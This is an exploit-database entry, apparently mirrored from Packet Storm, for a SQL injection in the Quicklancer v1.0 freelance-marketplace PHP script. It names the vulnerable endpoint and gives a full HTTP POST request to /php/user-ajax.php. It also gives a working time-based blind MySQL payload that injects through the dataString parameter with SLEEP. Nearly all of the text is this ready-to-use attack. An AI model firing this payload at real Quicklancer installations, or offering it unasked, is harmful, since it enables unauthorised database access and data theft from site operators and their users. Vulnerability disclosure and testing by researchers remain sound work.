Exploit for Quicklancer 1.0 SQL Injection

## https://sploitus.com/exploit?id=PACKETSTORM:172538
# Exploit Title: Quicklancer v1.0 - SQL Injection  
# Date: 2023-05-17  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor:  
https://codecanyon.net/item/quicklancer-freelance-marketplace-php-script/39087135  
# Demo Site: https://quicklancer.bylancer.com  
# Tested on: Kali Linux  
# CVE: N/A  
  
  
### Request ###  
  
POST /php/user-ajax.php HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Accept: */*  
x-requested-with: XMLHttpRequest  
Referer: https://localhost  
Cookie: sec_session_id=12bcd985abfc52d90489a6b5fd8219b2;  
quickjob_view_counted=31; Quick_lang=arabic  
Content-Length: 93  
Accept-Encoding: gzip,deflate,br  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36  
Host: localhost  
Connection: Keep-alive  
  
action=searchStateCountry&dataString=deneme  
  
  
### Parameter & Payloads ###  
  
Parameter: dataString (POST)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: action=searchStateCountry&dataString=deneme' AND (SELECT 8068  
FROM (SELECT(SLEEP(5)))qUdx) AND 'nbTo'='nbTo